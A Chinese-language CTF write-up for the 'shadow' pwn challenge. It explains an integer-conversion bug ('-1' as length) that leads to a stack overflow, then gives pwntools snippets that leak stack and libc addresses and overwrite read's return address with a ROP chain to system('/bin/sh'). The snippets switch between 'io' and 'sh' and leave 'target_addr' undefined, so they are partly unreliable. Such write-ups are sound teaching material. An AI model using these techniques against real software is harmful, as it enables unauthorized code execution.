shadow-IntergerOverflow-Nice

1.常规checksec,开了NX,FULL RELRO,Canary,没办法shellcode,修改got表。然后IDA打开找漏洞:

(1)整数转换漏洞:

输入message_length之后将长度返回进行atoi,将atoi的返回值给到下一个输入message的getline。中间用atoi进行了一个字符串转int的操作,而atoi是一个将数字型字符串转成数字的函数,”-1”可以转换为-1。但是getline中read的长度参数是size_t,相当于是unsigned int,是一个无符号数。

▲而int的表达方式是:02147483647(00x7fffffff) -2147483648-1(0x800000000xffffffff)

unsigned的表达方式是:04294967295(00xffffffff)

那么int的-1转换成unsigned之后就会变成0xffffffff,从而溢出。

▲由于程序实现了自定义的pop,push,ret,call等几个控制栈帧的汇编代码,所以这里的漏洞不太好找,汇编不太好的只能先慢慢调试验证猜想是否正确。

(2)栈溢出:栈溢出是从整数转换漏洞中来的,由于message是保存在message函数栈上的,所以就如果将read的长度参数变得很大,就可以栈溢出。

▲这里的栈溢出和平常栈溢出有点不同,而且还开了canary,照理说这个栈溢出没什么用,但是这里的Message是一个循环,只要message函数不退出,那么就不会触发canary的检查,就算栈溢出了,那也得等到message函数退出程序才会崩溃。

2.现在只有两个漏洞,但是看程序F5大法啥也看不出来,看汇编吧:

(1)输入name的call getline:

img

(2)输入长度的call getline:

img

(3)输入message的call getline:

img

可以看到,输入message和name的getline中保存数据的参数不一样,

保存name的参数是:[ebp+arg_0]

保存message的参数是:[ebp+var-2c]

再看一下这两个参数的定义:

arg_0 = dword ptr 8

var_2C = byte ptr -2Ch

可以看到name保存在ebp的下方,不在message的函数栈,但是message保存在ebp上方,在message函数栈中。

3.那么现在思考下攻击思路。先输入-1执行栈溢出漏洞,将message函数栈下方的保存name的内容更改为某函数的got表,这样在打印name时就可以将该函数打印出来。

(这里能打印的原因是printf的传参关系,这里能看到,name和message传参所用指令不同:img

name是mov指令,是直接将ebp+arg_0上的内容传给eax

message是lea指令,是将ebp+var_2c这个栈地址传给edx

那么显而易见,ebp+arg_0上保存的肯定是一个栈地址,这个栈地址上的内容才是name的真实内容。所以如果我们覆盖ebp+arg_0上的内容为got表,那么再打印就是取got表中的内容打印,也是函数真实地址。)

从而泄露出libc基地址。之后再执行栈溢出,覆盖返回地址为ROP链来getshell。但是这里有一个问题,由于程序自定了某些汇编函数,并且在调试过程中发现用程序的call来调用的函数,返回地址不再是原来call函数的下一句代码,而是一个restore_eip函数。因为在leave和ret指令执行前,执行了call ret,修改了某些东西,导致原本ebp下面不再是函数的返回地址了。并且由于是传指针,就算栈溢出,溢出的也只能是message函数栈,那有canary的情况下,溢出也没有什么意义。但是其它函数返回地址则是直接跳转到ret_stub函数,而这个ret_stub函数是保存在栈上的。

4.这里就想到printf函数,由于name会被打印出来,并且调试可以发现,将name总共16字节顶满后会连上一个17F79D79,之后是两个retn的地址,再之后就是一个栈地址,这几个数据都没有\x00结束字符,所以可以被printf连在一起打印出来:

img

那么可以考虑将name顶满后连上ebp泄露出栈地址,之后找到保存read返回地址的栈地址,将写入name的栈地址更改为保存read返回地址的栈地址。之后我们再往name中写东西,就相当于覆盖read函数的返回地址。再经过反复调试,发现read函数返回地址取用的地方刚好是FFF25c3c-0x100,而且每次都是那个地址,那么就可以覆盖了。(这里利用输入message连上ebp也可以泄露出message的ebp上保存的内容,也是相同的栈地址,调试出来的)

5.现在就尝试编写exp:

(1)首先三个函数:

1
2
3
4
5
6
7
8
9
10
11
#注释头

def setName(name):
io.sendafter('Input name :',name)

def setMessage(message):
io.sendlineafter('Message length :','-1')
io.sendafter('Input message :',message)

def changeName(c):
io.sendlineafter('Change name?',c)

(2)通过填满name,泄露一个栈地址:

1
2
3
4
5
6
7
8
9
#注释头

setName('A'*0x10)
setMessage('BBBBBBBBBB')
sh.recvuntil('<')
sh.recv(0x1C)
stack_addr = u32(sh.recv(4))
changeName('n')
log.info("stack_addr:%x"%stack_addr)

(3)泄露函数真实地址:

1
2
3
4
5
6
7
8
#注释头

payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
#这里第一个p32(0x100)是覆盖getline的读取长度,也就是arg_4,第二个是为了覆盖循环次数,也就是arg_8
setMessage(payload)
sh.recvuntil('<')
atoi_addr = u32(sh.recv(4))
log.info("atoi_addr:%x"%atoi_addr)

获取name的长度:当然这改掉的是name的长度,message的长度保存在[ebp+var_30]上,并且因为-1已经被更改为0xffffffff,足够大了。

img

判断循环次数:

img

(4)计算得到libc中其它地址:

1
2
3
4
5
6
#注释头

libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

(5)将写入name的地方覆盖成读取read函数返回地址的地方:

1
2
3
4
#注释头

payload = 'a'*0x34 + p32(target_addr)
setMessage(payload)

(6)再次读取name的时候就可以发送rop链:

1
2
3
4
#注释头

rop = p32(system_addr) + p32(0) + p32(binsh_addr)
setName(rop)

(7)最后getshell:

▲这个exp在不同的glibc版本下不太一样,2.23/2.24/2.27都能跑通,但是在2.31/2.32版本下没办法跑通,尤其是2.31,连栈地址都没办法泄露。2.32则是在最后一步会失败,不知道为什么。可能是canary的原因,不同版本的canary检查机制好像不一样。